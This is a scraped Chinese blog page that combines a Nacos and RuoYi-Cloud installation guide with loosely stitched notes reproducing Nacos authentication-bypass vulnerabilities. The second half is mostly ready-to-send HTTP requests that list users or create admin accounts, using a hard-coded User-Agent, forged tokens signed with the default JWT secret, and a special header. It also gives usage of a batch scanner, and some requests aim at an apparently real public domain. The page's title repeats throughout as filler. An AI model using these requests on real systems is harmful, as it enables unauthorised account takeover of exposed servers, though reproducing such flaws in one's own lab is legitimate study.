分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

安装Nacos

输入命令:

wget https://github.com/alibaba/nacos/releases/download/1.2.0/nacos-server-1.2.0.tar.gz

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

https://github.com/alibaba/nacos/releases

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

 tar -zxvf nacos-server-1.4.1.tar.gz

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
修改配置文件,
支持mysql,修改nacos/conf/application.properties文件,
增加支持mysql数据源配置(目前只支持mysql),
添加mysql数据源的url、用户名和密码,

 vi conf/application.properties

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

 spring.datasource.platform=mysql

### Count of DB:
db.num=1

### Connect URL of DB:
db.url.0=jdbc:mysql://127.0.0.1:3306/nacos?characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&useUnicode=true&useSSL=false&serverTimezone=UTC
db.user.0=nacos
db.password.0=nacos

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务将java安装包传到/home/java中

tar zxvf 压缩包名称

解压就安装完成了,之后我们要进行环境配置了

vi /etc/profile
 export JAVA_HOME=/home/java/jdk1.8.0_231
 
export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
 
export PATH=$PATH:$JAVA_HOME/bin
 

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

生效命令:

source /etc/profile

访问地址为:

http://127.0.0.1:8848/nacos 

启动服务
切换到bin目录,执行命令:sh startup.sh -m standalone
关闭服务
切换到bin目录,执行命令:sh shutdown.sh

注意:
此版本必须安装jdk1.8+版本,不然启动时会报错

默认没有开启用户名和密码登录

需要修改application.properties文件中的nacos.core.auth.enabled=true
才能开启用户名密码登录,

用户名/密码:nacos/nacos
Nacos 修改mysql中默认账号密码
数据库会有一个默认用户。
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

这时候默认的用户名是nacos nacos,这要是放到公网上肯定是不安全的,接下来告诉大家怎么修改。

我们新建一个springboot项目,加入一个依赖 spring-boot-starter-security ,只需要这一个就好了。

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
    <version>2.1.4.RELEASE</version>
</dependency>

然后写个类执行以下 new BCryptPasswordEncoder().encode(“你的密码”)就会生成新的加密过的密码。

import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;

public class SetPassword {
    public static void main(String[] args) {
        System.out.println(new BCryptPasswordEncoder().encode("新密码"));
    }
}

接下来就是复制密码去数据库替换默认的密码。默认用户是nacos 也可以修改,那个是明文的可以直接改,但是如果要修改用户名的话,要修改roles表里用户。

 切换目录:cd /usr/local/nacos/bin
单机模式启动:sh startup.sh -m standalone

参考资料:
https://www.jianshu.com/p/55091f2ad6e1
https://blog.csdn.net/leaf_dai/article/details/103380851

Java快速开发框架_若依——Ruoyi-SpringCloud版本-3.下载源码并导入数据库 安装nacos

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

准备工作

 
JDK >= 1.8 (推荐1.8版本)
Mysql >= 5.7.0 (推荐5.7版本)
Redis >= 3.0
Maven >= 3.0
Node >= 10
nacos >= 1.1.0
sentinel >= 1.6.0

运行系统


#后端运行
1、前往Gitee下载页面(https://gitee.com/y_project/RuoYi-Cloud (opens new window))
下载解压到工作目录

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

2、导入到Eclipse,菜单 File -> Import

然后选择 Maven -> Existing Maven Projects,点击 Next> 按钮,
选择工作目录,然后点击 Finish 按钮,即可成功导入。

Eclipse会自动加载Maven依赖包,初次加载会比较慢(根据自身网络情况而定)

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

 3、创建数据库ry-cloud并导入数据脚本ry_2021xxxx.sql(必须),quartz.sql(可选)

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

 
4、创建数据库ry-config并导入数据脚本ry_config_2021xxxx.sql(必须)

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

https://nacos.io/zh-cn/docs/quick-start.html

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

https://github.com/alibaba/nacos/releases

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

 
5、配置nacos持久化,修改conf/application.properties文件,增加支持mysql数据源配置
 # db mysql
spring.datasource.platform=mysql
db.num=1
db.url.0=jdbc:mysql://localhost:3306/ry-config?characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true
db.user=root
db.password=password

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

启动命令(standalone代表着单机模式运行,非集群模式):

cmd startup.cmd -m standalone

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

尽量 不要带中文  打jar包 报错

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

高并发  -----好多  连接
高可用 ----- 一个宕机 不影响其他
每个应用微服务 ----  开启多个(对应不同端口)

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Nacos 漏洞复现

介绍

Nacos(全称为"Naming and Configuration Service")是一个开源的动态服务发现、配置和服务管理平台,由阿里巴巴集团开源。它可以帮助开发者更好地构建云原生应用和微服务架构。

Nacos的主要功能和特点包括:

1. 服务发现与注册:Nacos提供了高可用的服务注册和发现功能,允许开发者按需注册、发现和注销服务实例。它支持多种服务发现协议,如DNSHTTP和gRPC,使得服务之间的通信更加简单和可靠。
    
2. 动态配置管理:Nacos允许开发者将配置信息集中管理,并支持动态刷新。通过Nacos,开发者可以轻松修改、发布和回滚配置,而无需重启应用程序或重新部署。
    
3. 服务路由与负载均衡:Nacos提供了灵活的服务路由和负载均衡功能,能够根据不同的场景和策略自动进行请求转发和负载均衡。
    
4. 集群和扩展性:Nacos支持横向扩展,可以构建高可用的集群部署。开发者可以根据应用程序的需求,灵活扩展Nacos实例数量,以提供更高的可用性和性能。
    
5. 健康检查与故障转移:Nacos能够对注册的服务进行健康检查,并自动剔除不健康的实例。在实例出现故障或不可用时,Nacos还能够进行故障转移,保证服务的连续可用性。
    
6. 社区支持和生态系统:Nacos拥有活跃的开发者社区和广泛的应用场景。除了核心功能之外,Nacos还提供了丰富的插件和扩展,以满足不同应用场景的需求。
    

Nacos是一个开源项目,源代码托管在GitHub上,并采用Apache License 2.0开源许可证。虽然Nacos由阿里巴巴集团发起,但它是一个面向全球开发者社区的开源项目,并得到了全球开发者的参与和贡献。

未授权添加用户

https://mp.weixin.qq.com/s/iCMiFGQnsqqfvqhbGxZ8pQ文章来源地址https://www.toymoban.com/news/detail-722831.html


Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,

如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。
但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。
并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

影响版本: Nacos <= 2.0.0-ALPHA.1



查看用户
访问路径,可以查看用户列表(包含密码)

alibaba-nacos-v1-auth-bypass

/nacos/v1/auth/users?pageNo=1&pageSize=100
User-Agent: Nacos-Server



添加新用户
1、访问url

2、请求改为post,把修改User-Agent头改为“Nacos-Server3、构造数据包添加一个admin用户,然后发送POST请求,返回为200,表示创建用户成功

4、用新账户密码登录则登录成功

漏洞修复
升级Nacos版本到最新版



发送如下数据包成功创建用户

POST /nacos/v1/auth/users HTTP/1.1
Host: 172.16.244.174:8848
User-Agent: Nacos-Server
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Length: 34

username=test111&password=test1111


















https://www.secpulse.com/archives/199642.html


https://jwt.io/#debugger-io
https://www.beijing-time.org/shijianchuo/


eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbWluZzExMTExMSIsImV4cCI6IjE2OTE5NTE5ODEifQ.sYrKZFyrjGpw5IHiy4aA1SVlqPxpVEeHxXhTndTyWgU


POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.30.100:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://192.168.30.100:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4

username=najcos&password=nacjos









方式二:默认未授权
发送如下数据包,成功创建用户

POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

username=test02&password=test02 

SecretKey012345678901234567890123456789012345678901234567890123456789


发送如下数据包成功创建用户
POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA4NTg3NX0.WT8N_acMlow8KTHusMacfvr84W4osgSdtyHu9p49tvc HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

username=test03&password=test03



方式四:默认头部
发送如下数据包,成功创建用户
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
serverIdentity: security
Content-Length: 31

username=test05&password=test05












GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9 HTTP/1.1
Host: 172.25.0.249:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://nacos.ts.taslyy.cn:3080/nacos/index.html
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDY3ODk3MDQyM30.lnslDXAElX0J_STPpWmBOmiQaVcU3eK3F7McFehD_6I

username=aminghack&password=yyds@aming


python3 Nacos_default.token.py -u [http://127.0.0.1:1111](http://127.0.0.1:1111/) 单个url测试

python3 Nacos_default.token.py -a [http://127.0.0.1:1111](http://127.0.0.1:1111/) 添加用户m2orz/zzz321..

python3 Nacos_default.token.py -f url.txt 批量检测

payload1:[http://xxx.com/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9](http://xxx.com/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9)

payload2:[http://xxx.com/nacos/v1/auth/users?accessToken=&pageNo=1&pageSize=9](http://xxx.com/nacos/v1/auth/users?accessToken=&pageNo=1&pageSize=9)

扫描结束后会在当前目录生成存在漏洞url的vuln.txt
 
 

http://nacos.ts.taslyy.cn:3080/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9





https://www.secpulse.com/archives/199642.html



nacos nacos


默认未授权
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

username=test02&password=amingmm123123


默认JWT-secret
nacos/conf/application.properties中设置nacos.core.auth.enabled=true开启权限认证

POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA4NTg3NX0.WT8N_acMlow8KTHusMacfvr84W4osgSdtyHu9p49tvc HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

username=test03&password=amingmm123123



默认头部



POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
serverIdentity: security
Content-Length: 31

username=test05&passwordamingmm123123



低版本(nacos<1.4.1)默认白名单UA
1.在nacos/conf/application.properties中设置
nacos.core.auth.enable.userAgentAuthWhite=true开启白名单UA





    
 



https://www.box3.cn/tools/jwt.html
https://jwt.io/#debugger-io




POST /nacos/v1/auth/users/login HTTP/1.1
Host: nacos.ts.taslyy.cn:3080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://nacos.ts.taslyy.cn:3080/nacos/index.html
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDY3ODk3MDQyM30.lnslDXAElX0J_STPpWmBOmiQaVcU3eK3F7McFehD_6I

username=aminghack&password=yyds@aming








到了这里,关于分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 详解SpringCloud微服务技术栈:强推!源码跟踪分析Ribbon负载均衡原理、Eureka服务部署

    👨‍🎓作者简介:一位大四、研0学生,正在努力准备大四暑假的实习 🌌上期文章:详解SpringCloud微服务技术栈:认识微服务、服务拆分与远程调用 📚订阅专栏:微服务技术全家桶 希望文章对你们有所帮助 服务提供者:一次业务中,被其它微服务调用的服务(提供接口给

    2024年01月18日
    浏览(33)
  • 38.SpringCloud—注册中心(eureka/nacos)、负载均衡Ribbon

    目录 一、SpringCloud。 (1)认识微服务。 (1.1)单体架构与分布式架构(微服务)。 (1.2)微服务技术对比。 (1.3)SpringCloud。 (2)服务拆分及远程调用。 (2.1)服务拆分。 (2.2)远程调用。 (3)提供者与消费者。 (4)Eureka注册中心。 (4.1)Eureka的作用。  (4.2)搭建

    2024年02月09日
    浏览(42)
  • SpringCloud实用篇1——eureka注册中心 Ribbon负载均衡原理 nacos注册中心

    单体架构: 将业务的所有功能集中在一个项目中开发,打成一个包部署。 优点:架构简单;部署成本低(打jar包、部署、负载均衡就完成了) 缺点:耦合度高(维护困难、升级困难,不利于大项目开发) 分布式架构 根据业务功能对系统做拆分,每个业务功能模块作为独立

    2024年02月13日
    浏览(26)
  • 【SpringCloud】二、服务注册发现Eureka与负载均衡Ribbon

    服务提供者:一次业务中,被其它微服务调用的服务。(提供接口给其它微服务) 服务消费者:一次业务中,调用其它微服务的服务。(调用其它微服务提供的接口) 很明显,这是一个相对的概念。 上一篇中,远程调用时,url参数是写死在代码中的,而不同的测试、生产、

    2024年02月06日
    浏览(33)
  • 【分布式微服务专题】从单体到分布式(四、SpringCloud整合Sentinel)

    相对来说,Sentinel的学习难度比之之前的Dubbo要低了不少。不过在学习过程中也遇到了一些认知局限带来的困难。比如,虽然还是学习了Sentinel,但是不知道生产环境该如何配置才是最佳的状态。 说到底,Sentinel还是没有提供很好的文档支持。比如:生产最佳实践方案。 官方也

    2024年01月23日
    浏览(36)
  • SpringCloud微服务 【实用篇】| Eureka注册中心、Ribbon负载均衡

    目录 一:Eureka注册中心 1. Eureka原理 2. 动手实践 ①搭建EurekaServer ②服务注册 ③服务发现  二:Ribbon负载均衡 1. 负载均衡原理 2. 负载均衡策略 3. 懒加载 tips:前些天突然发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家,感兴趣的同学可以

    2024年02月05日
    浏览(31)
  • SpringCloud微服务注册中心:Nacos介绍,微服务注册,Ribbon通信,Ribbon负载均衡,Nacos配置管理详细介绍

    注册中心可以说是微服务架构中的”通讯录“,它记录了服务和服务地址的映射关系。在分布式架构中,服务会注册到这里,当服务需要调用其它服务时,就这里找到服务的地址,进行调用。 服务注册中心(简称注册中心)是微服务框架的一个重要组件,在微服务架构里主要

    2024年02月22日
    浏览(46)
  • SpringCloud学习笔记(上):服务注册与发现:Eureka、Zookeeper、Consul+负载均衡服务调用:Ribbon

    SpringCloud=分布式微服务架构的一站式解决方案,是多种微服务架构落地技术的集合体,俗称微服务全家桶。 springboot版本选择: git源码地址:https://github.com/spring-projects/spring-boot/releases/ SpringBoot2.0新特性:https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-2.0-Release springcloud版本选

    2024年02月08日
    浏览(32)
  • 基于SpringCloud的微服务架构学习笔记(2)注册中心Eureka和负载均衡Ribbon

    1.7.1 远程调用的问题 地址信息获取 : 服务消费者 如何获取 服务提供者 的 地址信息 (不能每次都写死): URL:http://localhost:8081/user/\\\"+order.getUserId() 多选一 :如果有多个服务提供者,消费者如何进行选择 监测健康状态 :消费者如何获知提供者的健康状态 1.7.2 eureka原理 地址

    2024年02月13日
    浏览(27)
  • 【SpringCloud】通过Redis手动更新Ribbon缓存来解决Eureka微服务架构中服务下线感知的问题

    在上文的基础上,通过压测的结果可以看出,使用DiscoveryManager下线服务之后进行压测是不会出现异常情况的,但唯一缺点就是下线服务的方式是取消注册与续约,之后并没有结束进程。也就 使得在调用api下线后的服务其实是还存在处理请求的能力的 。加之eureka三种级别的缓

    2024年02月05日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包